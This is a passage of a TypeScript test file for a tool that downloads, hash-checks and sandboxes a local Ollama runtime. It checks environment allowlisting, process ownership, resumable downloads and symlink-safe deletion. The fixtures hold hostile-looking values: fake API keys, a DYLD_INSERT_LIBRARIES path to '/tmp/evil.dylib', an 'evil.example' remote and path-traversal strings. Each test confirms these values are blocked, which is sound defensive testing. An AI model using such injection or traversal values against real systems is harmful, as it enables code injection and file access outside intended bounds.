expect(Object.isFrozen(OLLAMA_RUNTIME_PIN)).toBe(true); + expect(() => { + (OLLAMA_RUNTIME_PIN as { url: string }).url = 'https://example.com/other.tgz'; + }).toThrow(); + expect(OLLAMA_RUNTIME_PIN.url).toMatch(/^https:\/\/github\.com\/ollama\/ollama\/releases\/download\/v0\.40\.15\//); + }); + + it('states the limits of the supervisor and the download', () => { + expect(RUNTIME_PORT_FIRST).toBe(11435); + expect(RUNTIME_PORT_SPAN).toBe(20); + expect(RUNTIME_MAX_RESTARTS).toBe(3); + expect(RUNTIME_DOWNLOAD_RETRIES).toBe(3); + expect(RUNTIME_KEEP_ALIVE).toBe('10m'); + }); + + it('is never downloaded by a test: the default fetch refuses under vitest', async () => { + const waits: number[] = []; + const result = await ensureRuntimeInstalled({ deps: { sleep: async (ms) => void waits.push(ms) } }); + expect(result).toEqual({ + ok: false, + code: 'runtime-download-failed', + detail: 'fetch is not available under vitest: the test must inject its own', + }); + // Refused at once, not after the retries. + expect(waits).toEqual([]); + expect(await isRuntimeInstalled()).toBe(false); + }); +}); + +// ---------- The budget line ---------- + +describe('parseInferenceComputeTotal', () => { + it('reads the device total of the real line of the Mac mini', () => { + // total="11.8 GiB": 11.8 x 1024^3, rounded down. + expect(parseInferenceComputeTotal(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI)).toBe(12_670_153_523); + expect(12_670_153_523).toBe(Math.floor(11.8 * 1024 ** 3)); + }); + + it('reads 37.4 GiB, what the MacBook reported, as 40,157,944,217 bytes', () => { + expect(parseInferenceComputeTotal(INFERENCE_COMPUTE_LINE_MACBOOK)).toBe(40_157_944_217); + expect(parseInferenceComputeTotal(INFERENCE_COMPUTE_LINE_MACBOOK)).toBe(MACBOOK_MEASURED_TOTAL_BYTES); + // The two fields quoted in the measurement notes are enough. + expect(parseInferenceComputeTotal('msg="inference compute" total="37.4 GiB" available="37.4 GiB"')).toBe( + 40_157_944_217 + ); + }); + + it('does not read the line that follows it, which carries the total under another key', () => { + expect(parseInferenceComputeTotal(REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI)).toBeUndefined(); + // Not even when that key sits on an "inference compute" line. + expect( + parseInferenceComputeTotal('msg="inference compute" total_vram="11.8 GiB" subtotal="1 GiB"') + ).toBeUndefined(); + }); + + it('finds exactly one line of a start-up log', () => { + const totals = fakeRuntimeLog('37.4 GiB').map(parseInferenceComputeTotal); + expect(totals).toEqual([undefined, undefined, 40_157_944_217, undefined]); + }); + + it('reads the binary units the runtime prints', () => { + const line = (total: string): string => `level=INFO msg="inference compute" id=0 total="${total}" available="1 B"`; + expect(parseInferenceComputeTotal(line('512 B'))).toBe(512); + expect(parseInferenceComputeTotal(line('8 KiB'))).toBe(8192); + expect(parseInferenceComputeTotal(line('12713.1 MiB'))).toBe(Math.floor(12713.1 * 1024 ** 2)); + expect(parseInferenceComputeTotal(line('96 GiB'))).toBe(96 * 1024 ** 3); + expect(parseInferenceComputeTotal(line('1.5 TiB'))).toBe(1.5 * 1024 ** 4); + // Without the space between the number and the unit. + expect(parseInferenceComputeTotal(line('16GiB'))).toBe(16 * 1024 ** 3); + }); + + it('answers undefined for anything it does not understand, and never throws', () => { + const line = (total: string): string => `msg="inference compute" total="${total}"`; + for (const text of [ + '', + 'total="37.4 GiB"', + 'msg="inference compute"', + line(''), + line('GiB'), + line('37.4'), + line('37.4 GB'), + line('-1 GiB'), + line('0 GiB'), + line('1e9 GiB'), + line('NaN GiB'), + 'msg="inference compute" total=37.4GiB', + 'msg="discovering available GPUs..."', + ]) { + expect(parseInferenceComputeTotal(text), JSON.stringify(text)).toBeUndefined(); + } + }); +}); + +// ---------- The environment ---------- + +describe('runtimeEnv', () => { + const input = (source: NodeJS.ProcessEnv): Parameters<typeof runtimeEnv>[0] => ({ + source, + home: '/data/local-model/home', + modelsDir: '/data/local-model/models', + port: 11435, + contextLength: 131072, + }); + + /** A server environment with everything a real one may hold. */ + const SERVER_ENV: NodeJS.ProcessEnv = { + PATH: '/usr/local/bin:/usr/bin:/bin', + HOME: '/Users/arkon', + TMPDIR: '/var/folders/xy/T/', + LANG: 'de_CH.UTF-8', + HTTP_PROXY: 'http://proxy:3128', + HTTPS_PROXY: 'http://proxy:3128', + NO_PROXY: 'localhost,127.0.0.1', + http_proxy: 'http://proxy-lower:3128', + https_proxy: 'http://proxy-lower:3128', + no_proxy: 'localhost', + // Codeman's own secrets and switches. + CODEMAN_PASSWORD: 'hunter2', + CODEMAN_USERNAME: 'admin', + CODEMAN_MUX: '1', + CODEMAN_API_URL: 'http://127.0.0.1:3000', + // The user's settings for their OWN runtime. + OLLAMA_HOST: '0.0.0.0:11434', + OLLAMA_ORIGINS: '*', + OLLAMA_MODELS: '/Users/arkon/.ollama/models', + OLLAMA_DEBUG: '1', + OLLAMA_DEBUG_LOG_REQUESTS: '1', + OLLAMA_KEEP_ALIVE: '-1', + OLLAMA_NUM_PARALLEL: '8', + OLLAMA_MAX_LOADED_MODELS: '0', + OLLAMA_CONTEXT_LENGTH: '4096', + OLLAMA_NO_CLOUD: '0', + OLLAMA_REMOTES: 'evil.example', + OLLAMA_AUTH: '1', + LLAMA_ARG_CACHE_RAM: '0', + // Other secrets a server environment carries. + ANTHROPIC_API_KEY: 'sk-ant-secret', + OPENAI_API_KEY: 'sk-secret', + GITHUB_TOKEN: 'ghp_secret', + AWS_SECRET_ACCESS_KEY: 'aws-secret', + SSH_AUTH_SOCK: '/tmp/ssh.sock', + USER: 'arkon', + SHELL: '/bin/zsh', + LC_ALL: 'C', + NODE_OPTIONS: '--inspect', + DYLD_INSERT_LIBRARIES: '/tmp/evil.dylib', + }; + + it('holds exactly the allowlist: what is copied, the private HOME, and seven settings', () => { + expect(runtimeEnv(input(SERVER_ENV))).toEqual({ + PATH: '/usr/local/bin:/usr/bin:/bin', + TMPDIR: '/var/folders/xy/T/', + LANG: 'de_CH.UTF-8', + HTTP_PROXY: 'http://proxy:3128', + HTTPS_PROXY: 'http://proxy:3128', + NO_PROXY: 'localhost,127.0.0.1', + http_proxy: 'http://proxy-lower:3128', + https_proxy: 'http://proxy-lower:3128', + no_proxy: 'localhost', + HOME: '/data/local-model/home', + OLLAMA_HOST: '127.0.0.1:11435', + OLLAMA_MODELS: '/data/local-model/models', + OLLAMA_CONTEXT_LENGTH: '131072', + OLLAMA_NO_CLOUD: '1', + OLLAMA_KEEP_ALIVE: '10m', + OLLAMA_NUM_PARALLEL: '1', + OLLAMA_MAX_LOADED_MODELS: '1', + }); + }); + + it('lets no CODEMAN_ variable through, the password least of all', () => { + const env = runtimeEnv(input(SERVER_ENV)); + expect(Object.keys(env).filter((name) => name.startsWith('CODEMAN_'))).toEqual([]); + expect(JSON.stringify(env)).not.toContain('hunter2'); + }); + + it("lets none of the user's own OLLAMA_ settings through: every one is ours or absent", () => { + const env = runtimeEnv(input(SERVER_ENV)); + expect( + Object.keys(env) + .filter((name) => name.startsWith('OLLAMA_')) + .sort() + ).toEqual([ + 'OLLAMA_CONTEXT_LENGTH', + 'OLLAMA_HOST', + 'OLLAMA_KEEP_ALIVE', + 'OLLAMA_MAX_LOADED_MODELS', + 'OLLAMA_MODELS', + 'OLLAMA_NO_CLOUD', + 'OLLAMA_NUM_PARALLEL', + ]); + // The inherited values lost against ours, and the ones we do not set are gone. + expect(env.OLLAMA_HOST).toBe('127.0.0.1:11435'); + expect(env.OLLAMA_KEEP_ALIVE).toBe('10m'); + expect(env.OLLAMA_MAX_LOADED_MODELS).toBe('1'); + for (const name of [ + 'OLLAMA_ORIGINS', + 'OLLAMA_DEBUG', + 'OLLAMA_DEBUG_LOG_REQUESTS', + 'OLLAMA_REMOTES', + 'OLLAMA_AUTH', + ]) { + expect(env, name).not.toHaveProperty(name); + } + expect(env).not.toHaveProperty('LLAMA_ARG_CACHE_RAM'); + }); + + it('carries no secret and no value of the server that is not on the list', () => { + const env = runtimeEnv(input(SERVER_ENV)); + const text = JSON.stringify(env); + for (const secret of ['sk-ant-secret', 'sk-secret', 'ghp_secret', 'aws-secret', 'evil', '/Users/arkon']) { + expect(text, secret).not.toContain(secret); + } + // Whatever is in the result and came from the server is one of the nine copied names. + const copied = [ + 'PATH', + 'TMPDIR', + 'LANG', + 'HTTP_PROXY', + 'HTTPS_PROXY', + 'NO_PROXY', + 'http_proxy', + 'https_proxy', + 'no_proxy', + ]; + for (const [name, value] of Object.entries(env)) { + if (SERVER_ENV[name] === value) expect(copied, name).toContain(name); + } + }); + + it('binds the loopback address only, on the port it is given', () => { + for (const port of [11435, 11454, 40123]) { + expect(runtimeEnv({ ...input({}), port }).OLLAMA_HOST).toBe(`127.0.0.1:${port}`); + } + expect(runtimeEnv({ ...input({}), contextLength: 65536 }).OLLAMA_CONTEXT_LENGTH).toBe('65536'); + }); + + it('leaves out what the server does not have, and sets the rest all the same', () => { + expect(Object.keys(runtimeEnv(input({}))).sort()).toEqual([ + 'HOME', + 'OLLAMA_CONTEXT_LENGTH', + 'OLLAMA_HOST', + 'OLLAMA_KEEP_ALIVE', + 'OLLAMA_MAX_LOADED_MODELS', + 'OLLAMA_MODELS', + 'OLLAMA_NO_CLOUD', + 'OLLAMA_NUM_PARALLEL', + ]); + // An empty value is not copied either. + expect(runtimeEnv(input({ PATH: '', LANG: undefined }))).not.toHaveProperty('PATH'); + }); + + it('is pure: the server environment is not changed', () => { + const source = { ...SERVER_ENV }; + runtimeEnv(input(source)); + expect(source).toEqual(SERVER_ENV); + }); +}); + +// ---------- Whose process is it ---------- + +describe('isOwnRuntimeCommand', () => { + const root = '/Users/arkon/.codeman/local-model/runtime'; + + it('knows a runtime under our folder by its command line', () => { + expect(isOwnRuntimeCommand(`${root}/ollama-0.40.15/ollama serve`, root)).toBe(true); + expect(isOwnRuntimeCommand(` ${root}/ollama-0.40.15/ollama serve\n`, root)).toBe(true); + // Another version of ours, and a folder name with a space in it. + expect(isOwnRuntimeCommand(`${root}/ollama-0.39.0/ollama serve`, root)).toBe(true); + const spaced = '/Users/Jane Doe/.codeman/local-model/runtime'; + expect(isOwnRuntimeCommand(`${spaced}/ollama-0.40.15/ollama serve`, spaced)).toBe(true); + expect(isOwnRuntimeCommand(`${root}/ollama-0.40.15/ollama serve`, `${root}/`)).toBe(true); + }); + + it('reads /private in front of a path as the same path', () => { + const temp = '/var/folders/xy/T/codeman/local-model/runtime'; + expect(isOwnRuntimeCommand(`/private${temp}/ollama-0.40.15/ollama serve`, temp)).toBe(true); + expect(isOwnRuntimeCommand(`${temp}/ollama-0.40.15/ollama serve`, `/private${temp}`)).toBe(true); + }); + + it('does not take any other process for ours', () => { + for (const command of [ + // A runtime the user started. + '/usr/local/bin/ollama serve', + '/Applications/Ollama.app/Contents/Resources/ollama serve', + 'ollama serve', + // Our folder is only an argument, or a prefix of another folder. + `/bin/sh ${root}/ollama-0.40.15/ollama serve`, + `/usr/bin/tail -f ${root}/log`, + `${root}-other/ollama-0.40.15/ollama serve`, + `${root}`, + // A way back out of the folder. + `${root}/../../../../usr/local/bin/ollama serve`, + `${root}/ollama-0.40.15/../../../evil serve`, + '', + ]) { + expect(isOwnRuntimeCommand(command, root), command).toBe(false); + } + expect(isOwnRuntimeCommand('/anything/ollama serve', '')).toBe(false); + expect(isOwnRuntimeCommand('relative/ollama serve', 'relative')).toBe(false); + }); +}); + +// ---------- The download ---------- + +describe('ensureRuntimeInstalled', () => { + it('downloads, proves the hash, unpacks, and leaves a runtime that runs', async () => { + fake = await startFakeOllama(); + const seen: RuntimeDownloadProgress[] = []; + const result = await ensureRuntimeInstalled({ + pin: fake.pin(), + paths, + deps: deps(), + onProgress: (progress) => seen.push(progress), + }); + expect(result).toEqual({ ok: true, binaryPath: paths.binary, alreadyInstalled: false }); + expect(await isRuntimeInstalled(fake.pin(), paths)).toBe(true); + // Unpacked by the real tar: the file is executable and is the one of the archive. + expect((await stat(paths.binary)).mode & 0o111).not.toBe(0); + expect((await execFileAsync(paths.binary)).stdout).toBe('fake runtime\n'); + // The archive and the temporary folder are gone; one request was enough. + expect(existsSync(paths.archivePartial)).toBe(false); + expect(existsSync(paths.unpackDir)).toBe(false); + expect(archiveRanges(fake)).toEqual([undefined]); + // Progress ends at the whole archive, measured against the pin. + expect(seen.at(-1)).toEqual({ completedBytes: fake.archive.size, totalBytes: fake.archive.size }); + for (const progress of seen) expect(progress.totalBytes).toBe(fake.pin().bytes); + }); + + it('does nothing the second time: the runtime is already there', async () => { + fake = await startFakeOllama(); + await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + const again = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + expect(again).toEqual({ ok: true, binaryPath: paths.binary, alreadyInstalled: true }); + expect(fake.state.archiveRequests).toBe(1); + }); + + it('unpacks NOTHING when the hash is wrong, and deletes the download', async () => { + fake = await startFakeOllama(); + const wrongPin: LocalModelRuntimePin = { + ...fake.pin(), + sha256: createHash('sha256').update('other').digest('hex'), + }; + let unpacked = 0; + const result = await ensureRuntimeInstalled({ + pin: wrongPin, + paths, + deps: { + ...deps(), + untar: async () => { + unpacked += 1; + }, + }, + }); + expect(result).toMatchObject({ ok: false, code: 'runtime-damaged' }); + expect((result as { detail?: string }).detail).toContain(fake.archive.sha256); + expect(unpacked).toBe(0); + expect(existsSync(paths.archivePartial)).toBe(false); + expect(existsSync(paths.unpackDir)).toBe(false); + expect(existsSync(paths.runtimeDir)).toBe(false); + expect(await isRuntimeInstalled(wrongPin, paths)).toBe(false); + // The whole archive was read before the verdict: it is the hash that failed, not the size. + expect(fake.state.archiveRequests).toBe(1); + }); + + it('compares the hash whatever the case it is written in', async () => { + fake = await startFakeOllama(); + const upper: LocalModelRuntimePin = { ...fake.pin(), sha256: fake.archive.sha256.toUpperCase() }; + expect(await ensureRuntimeInstalled({ pin: upper, paths, deps: deps() })).toMatchObject({ ok: true }); + }); + + it('continues a download that was cut, with a Range request from where the file ends', async () => { + fake = await fakeWithLargeArchive({ cutAfterBytes: 1000 }); + const waits: number[] = []; + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps(waits) }); + expect(result).toMatchObject({ ok: true, alreadyInstalled: false }); + // The first request from the start, the second for the rest. + expect(archiveRanges(fake)).toEqual([undefined, 'bytes=1000-']); + expect(waits).toEqual([500]); + expect((await execFileAsync(paths.binary)).stdout).toBe('fake runtime\n'); + }); + + it('gives up after 3 continuations and keeps the partial file for the next run', async () => { + expect(RUNTIME_DOWNLOAD_RETRIES).toBe(3); + fake = await fakeWithLargeArchive({ cutAfterBytes: 1000, cutTimes: Infinity }); + const waits: number[] = []; + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps(waits) }); + expect(result).toMatchObject({ ok: false, code: 'runtime-download-failed' }); + expect((result as { detail?: string }).detail).toBeTruthy(); + // The first request and three more, each from where the last one stopped. + expect(archiveRanges(fake)).toEqual([undefined, 'bytes=1000-', 'bytes=2000-', 'bytes=3000-']); + expect(waits).toEqual([500, 1000, 2000]); + expect((await stat(paths.archivePartial)).size).toBe(4000); + expect(existsSync(paths.runtimeDir)).toBe(false); + + // "Try again": the next run continues the same file, it does not start over. + fake.switches.archive.cutAfterBytes = undefined; + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(archiveRanges(fake).at(-1)).toBe('bytes=4000-'); + expect((await execFileAsync(paths.binary)).stdout).toBe('fake runtime\n'); + }); + + it('fails after the same number of tries when the server keeps answering an error', async () => { + fake = await startFakeOllama({ archive: { status: 503 } }); + const waits: number[] = []; + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps(waits) }); + expect(result).toEqual({ + ok: false, + code: 'runtime-download-failed', + detail: 'The download server answered HTTP 503', + }); + expect(fake.state.archiveRequests).toBe(4); + expect(waits).toHaveLength(3); + }); + + it('starts over when the server ignores the Range request and sends the whole archive', async () => { + fake = await fakeWithLargeArchive({ ignoreRange: true }); + // A partial file of an earlier run: the true first 1500 bytes. + await mkdir(paths.runtimeRoot, { recursive: true }); + await writeFile(paths.archivePartial, fake.archive.body.subarray(0, 1500)); + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + expect(result).toMatchObject({ ok: true }); + expect(archiveRanges(fake)).toEqual(['bytes=1500-']); + // Appending the whole body to the 1500 bytes would not have had the pinned hash. + expect((await execFileAsync(paths.binary)).stdout).toBe('fake runtime\n'); + }); + + it('proves the WHOLE file: a partial file that is not the start of the archive ends as damaged', async () => { + fake = await fakeWithLargeArchive(); + await mkdir(paths.runtimeRoot, { recursive: true }); + await writeFile(paths.archivePartial, randomBytes(1500)); + const first = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + expect(first).toMatchObject({ ok: false, code: 'runtime-damaged' }); + expect(existsSync(paths.archivePartial)).toBe(false); + expect(existsSync(paths.runtimeDir)).toBe(false); + // The damaged file is gone, so the next run downloads from the first byte. + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(archiveRanges(fake)).toEqual(['bytes=1500-', undefined]); + }); + + it('throws away a partial file that is larger than the archive', async () => { + fake = await startFakeOllama(); + await mkdir(paths.runtimeRoot, { recursive: true }); + await writeFile(paths.archivePartial, randomBytes(fake.archive.size + 100)); + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(archiveRanges(fake)).toEqual([undefined]); + }); + + it('verifies a file that is already complete without asking the server', async () => { + fake = await startFakeOllama(); + await mkdir(paths.runtimeRoot, { recursive: true }); + await writeFile(paths.archivePartial, fake.archive.body); + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(fake.state.archiveRequests).toBe(0); + }); + + it('refuses a download whose size is not the pinned one, before it reads it', async () => { + fake = await startFakeOllama(); + const shortPin: LocalModelRuntimePin = { ...fake.pin(), bytes: fake.archive.size - 10 }; + const result = await ensureRuntimeInstalled({ pin: shortPin, paths, deps: deps() }); + expect(result).toEqual({ + ok: false, + code: 'runtime-damaged', + detail: `The download is ${fake.archive.size} bytes, the pinned archive has ${fake.archive.size - 10}`, + }); + expect(existsSync(paths.archivePartial)).toBe(false); + expect(fake.state.archiveRequests).toBe(1); + }); + + it('refuses a body that grows past the pinned size, when the server names no size', async () => { + fake = await startFakeOllama(); + const pin = fake.pin(); + const body = fake.archive.body; + let unpacked = 0; + // The right archive followed by more bytes, as a stream without a content-length. + const endless: typeof fetch = async () => + new Response( + new ReadableStream<Uint8Array>({ + start(controller) { + controller.enqueue(new Uint8Array(body)); + controller.enqueue(new Uint8Array(1000)); + controller.close(); + }, + }), + { status: 200 } + ); + const result = await ensureRuntimeInstalled({ + pin, + paths, + deps: { + fetch: endless, + sleep: async () => undefined, + untar: async () => { + unpacked += 1; + }, + }, + }); + expect(result).toEqual({ + ok: false, + code: 'runtime-damaged', + detail: `The download is longer than the ${pin.bytes} bytes of the pinned archive`, + }); + expect(unpacked).toBe(0); + expect(existsSync(paths.archivePartial)).toBe(false); + }); + + /** A server that sends the first `bytes` of the archive and then nothing more, until it is aborted. */ + function stallingFetch(server: FakeOllama, bytes: number, counter: { requests: number }): typeof fetch { + return async (_input, init) => { + counter.requests += 1; + const signal = init?.signal ?? undefined; + return new Response( + new ReadableStream<Uint8Array>({ + start(controller) { + controller.enqueue(new Uint8Array(server.archive.body.subarray(0, bytes))); + signal?.addEventListener('abort', () => controller.error(new DOMException('aborted', 'AbortError'))); + }, + }), + { status: 200 } + ); + }; + } + + it('stops when the caller cancels, and the next run continues the same file', async () => { + fake = await fakeWithLargeArchive(); + const counter = { requests: 0 }; + const controller = new AbortController(); + setTimeout(() => controller.abort(), 40); + const cancelled = await ensureRuntimeInstalled({ + pin: fake.pin(), + paths, + signal: controller.signal, + deps: { fetch: stallingFetch(fake, 2000, counter), sleep: async () => undefined }, + }); + expect(cancelled).toEqual({ ok: false, code: 'cancelled' }); + // One request, no retry after a cancel, and what arrived is kept. + expect(counter.requests).toBe(1); + expect((await stat(paths.archivePartial)).size).toBe(2000); + expect(existsSync(paths.runtimeDir)).toBe(false); + + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(archiveRanges(fake)).toEqual(['bytes=2000-']); + }); + + it('answers cancelled at once for a signal that is already aborted', async () => { + fake = await startFakeOllama(); + const controller = new AbortController(); + controller.abort(); + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, signal: controller.signal, deps: deps() }); + expect(result).toEqual({ ok: false, code: 'cancelled' }); + expect(fake.state.archiveRequests).toBe(0); + }); + + it('treats a download that delivers nothing as cut, a bounded number of times', async () => { + fake = await fakeWithLargeArchive(); + const counter = { requests: 0 }; + const result = await ensureRuntimeInstalled({ + pin: fake.pin(), + paths, + idleTimeoutMs: 30, + deps: { fetch: stallingFetch(fake, 500, counter), sleep: async () => undefined }, + }); + expect(result).toEqual({ + ok: false, + code: 'runtime-download-failed', + detail: 'The download delivered nothing for 1 s', + }); + expect(counter.requests).toBe(4); + }); + + it('answers runtime-unpack-failed when tar fails, keeps the proven archive, and unpacks it next time', async () => { + fake = await startFakeOllama(); + const failed = await ensureRuntimeInstalled({ + pin: fake.pin(), + paths, + deps: { + ...deps(), + untar: async () => { + throw new Error('tar: Error opening archive: Unrecognized archive format'); + }, + }, + }); + expect(failed).toEqual({ + ok: false, + code: 'runtime-unpack-failed', + detail: 'tar: Error opening archive: Unrecognized archive format', + }); + expect(existsSync(paths.unpackDir)).toBe(false); + expect(existsSync(paths.runtimeDir)).toBe(false); + expect((await stat(paths.archivePartial)).size).toBe(fake.archive.size); + + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + // Not downloaded a second time. + expect(fake.state.archiveRequests).toBe(1); + }); + + it('answers disk-full when unpacking runs out of space', async () => { + fake = await startFakeOllama(); + const result = await ensureRuntimeInstalled({ + pin: fake.pin(), + paths, + deps: { + ...deps(), + untar: async () => { + throw new Error("tar: ollama: Can't write: No space left on device"); + }, + }, + }); + expect(result).toMatchObject({ ok: false, code: 'disk-full' }); + }); + + it('refuses an archive that holds no runtime binary', async () => { + fake = await startFakeOllama({ archiveFiles: { 'README.txt': 'no binary here\n' } }); + const result = await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + expect(result).toEqual({ + ok: false, + code: 'runtime-unpack-failed', + detail: 'The archive holds no ollama binary', + }); + expect(existsSync(paths.runtimeDir)).toBe(false); + expect(existsSync(paths.unpackDir)).toBe(false); + }); + + it('replaces a runtime folder that an interrupted unpack left without its binary', async () => { + fake = await startFakeOllama(); + await mkdir(paths.runtimeDir, { recursive: true }); + await writeFile(join(paths.runtimeDir, 'half-written'), 'x'); + await mkdir(paths.unpackDir, { recursive: true }); + await writeFile(join(paths.unpackDir, 'stale'), 'x'); + expect(await isRuntimeInstalled(fake.pin(), paths)).toBe(false); + expect(await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() })).toMatchObject({ ok: true }); + expect(existsSync(join(paths.runtimeDir, 'half-written'))).toBe(false); + expect(existsSync(join(paths.runtimeDir, 'stale'))).toBe(false); + expect(await readFile(paths.binary, 'utf8')).toContain('fake runtime'); + }); + + it('writes the download where only the owner can read it, inside the one folder', async () => { + fake = await fakeWithLargeArchive({ cutAfterBytes: 1000, cutTimes: Infinity }); + await ensureRuntimeInstalled({ pin: fake.pin(), paths, deps: deps() }); + expect((await stat(paths.archivePartial)).mode & 0o077).toBe(0); + expect(paths.archivePartial.startsWith(paths.root)).toBe(true); + }); + + it('never throws: a version that is no version is an answer', async () => { + const badPin = { ...OLLAMA_RUNTIME_PIN, version: '../../etc' }; + expect(await isRuntimeInstalled(badPin)).toBe(false); + expect(await ensureRuntimeInstalled({ pin: badPin, deps: deps() })).toMatchObject({ + ok: false, + code: 'runtime-download-failed', + }); + }); +}); + +// ---------- The port ---------- + +describe('chooseRuntimePort', () => { + let holder: Server | undefined; + + afterEach(async () => { + await new Promise<void>((resolve) => (holder ? holder.close(() => resolve()) : resolve())); + holder = undefined; + }); + + /** Binds a loopback port the system picks and keeps it. */ + async function holdPort(): Promise<number> { + holder = createServer(); + await new Promise<void>((resolve) => holder?.listen(0, '127.0.0.1', () => resolve())); + return (holder.address() as AddressInfo).port; + } + + it('takes the first port of the span that is free, in order', async () => { + const asked: number[] = []; + const port = await chooseRuntimePort({ + isFree: async (candidate) => { + asked.push(candidate); + return candidate >= 11438; + }, + }); + expect(port).toBe(11438); + expect(asked).toEqual([11435, 11436, 11437, 11438]); + }); + + it('starts at 11435 and tries 20 ports, never 11434', async () => { + const asked: number[] = []; + const port = await chooseRuntimePort({ + isFree: async (candidate) => { + asked.push(candidate); + return false; + }, + }); + expect(port).toBeUndefined(); + expect(asked).toHaveLength(20); + expect(asked[0]).toBe(11435); + expect(asked.at(-1)).toBe(11454); + expect(asked).not.toContain(11434); + }); + + it('skips the ports it is told to avoid: "Use another port"', async () => { + const asked: number[] = []; + const port = await chooseRuntimePort({ + avoid: [11435, 11436], + isFree: async (candidate) => { + asked.push(candidate); + return true; + }, + }); + expect(port).toBe(11437); + expect(asked).toEqual([11437]); + }); + + it('does not take a port whose probe failed for free', async () => { + const port = await chooseRuntimePort({ + first: 100, + span: 3, + isFree: async (candidate) => { + if (candidate === 100) throw new Error('EACCES'); + return candidate === 102; + }, + }); + expect(port).toBe(102); + }); + + it('decides by BINDING: a held port is not free, and is free again once it is let go', async () => { + const port = await holdPort(); + expect(await isLoopbackPortFree(port)).toBe(false); + expect(await chooseRuntimePort({ first: port, span: 1 })).toBeUndefined(); + await new Promise<void>((resolve) => holder?.close(() => resolve())); + holder = undefined; + expect(await isLoopbackPortFree(port)).toBe(true); + expect(await chooseRuntimePort({ first: port, span: 1 })).toBe(port); + // The probe let go of it again: it can be bound right away. + expect(await isLoopbackPortFree(port)).toBe(true); + }); + + it('calls a number that is no port not free', async () => { + for (const port of [0, -1, 65536, 1.5, Number.NaN]) + expect(await isLoopbackPortFree(port), String(port)).toBe(false); + }); +}); + +// ---------- The removal ---------- + +describe('removeLocalModelFiles', () => { + /** Everything an install leaves on disk, plus the state file beside the folder. */ + async function installTree(): Promise<void> { + await mkdir(join(paths.runtimeDir, 'lib'), { recursive: true }); + await writeFile(paths.binary, '#!/bin/sh\n'); + await writeFile(join(paths.runtimeDir, 'lib', 'libmlx.dylib'), 'x'); + await mkdir(join(paths.runtimeRoot, 'ollama-0.39.0'), { recursive: true }); + await writeFile(join(paths.runtimeRoot, 'ollama-0.39.0', 'ollama'), 'old'); + await writeFile(paths.archivePartial, 'partial'); + await mkdir(join(paths.homeDir, '.ollama'), { recursive: true }); + await writeFile(join(paths.homeDir, '.ollama', 'id_ed25519'), 'private key'); + await mkdir(join(paths.modelsDir, 'blobs'), { recursive: true }); + await writeFile(join(paths.modelsDir, 'blobs', 'sha256-abc'), 'weights'); + await writeFile(paths.stateFile, '{"schema":1,"state":"installed"}'); + } + + it('removes the runtime, every version of it, the archive and the private home, and keeps the models', async () => { + await installTree(); + await removeLocalModelFiles({ models: false, paths }); + expect(existsSync(paths.runtimeRoot)).toBe(false); + expect(existsSync(paths.homeDir)).toBe(false); + expect(await readFile(join(paths.modelsDir, 'blobs', 'sha256-abc'), 'utf8')).toBe('weights'); + // The folder still holds the models, so it stays. + expect(existsSync(paths.root)).toBe(true); + }); + + it('removes the models too when asked, and then the folder itself', async () => { + await installTree(); + await removeLocalModelFiles({ models: true, paths }); + expect(existsSync(paths.modelsDir)).toBe(false); + expect(existsSync(paths.root)).toBe(false); + }); + + it('leaves the state file alone: that is the business of its one writer', async () => { + await installTree(); + await removeLocalModelFiles({ models: true, paths }); + expect(await readFile(paths.stateFile, 'utf8')).toBe('{"schema":1,"state":"installed"}'); + await rm(paths.stateFile, { force: true }); + }); + + it('is fine with nothing to remove, and can be run twice', async () => { + await removeLocalModelFiles({ models: true, paths }); + await installTree(); + await removeLocalModelFiles({ models: true, paths }); + await removeLocalModelFiles({ models: true, paths }); + expect(existsSync(paths.root)).toBe(false); + await rm(paths.stateFile, { force: true }); + }); + + it('keeps a folder of the root that is not ours', async () => { + await installTree(); + await mkdir(join(paths.root, 'notes'), { recursive: true }); + await writeFile(join(paths.root, 'notes', 'mine.txt'), 'keep'); + await removeLocalModelFiles({ models: true, paths }); + expect(await readFile(join(paths.root, 'notes', 'mine.txt'), 'utf8')).toBe('keep'); + await rm(paths.stateFile, { force: true }); + }); + + it('unlinks a symlink in the place of a folder and never deletes what it points at', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'precious.gguf'), 'the only copy'); + await mkdir(paths.root, { recursive: true }); + // The model store was moved to another disk and linked back. + await symlink(outside, paths.modelsDir); + await removeLocalModelFiles({ models: true, paths }); + expect(existsSync(paths.modelsDir)).toBe(false); + expect(await readFile(join(outside, 'precious.gguf'), 'utf8')).toBe('the only copy'); + }); + + it('removes a symlink it meets inside a folder, not the tree behind it', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'keep.txt'), 'keep'); + await mkdir(paths.homeDir, { recursive: true }); + await symlink(outside, join(paths.homeDir, 'link-out')); + await removeLocalModelFiles({ models: false, paths }); + expect(existsSync(paths.homeDir)).toBe(false); + expect(await readFile(join(outside, 'keep.txt'), 'utf8')).toBe('keep'); + }); + + it('refuses a path that is not inside the one folder, and deletes nothing', async () => { + const outside = await outsideDir(); + await writeFile(join(outside, 'keep.txt'), 'keep'); + await installTree(); + const cases: Partial<LocalModelPaths>[] = [ + { runtimeRoot: outside }, + { homeDir: outside }, + { modelsDir: outside }, + // The folder 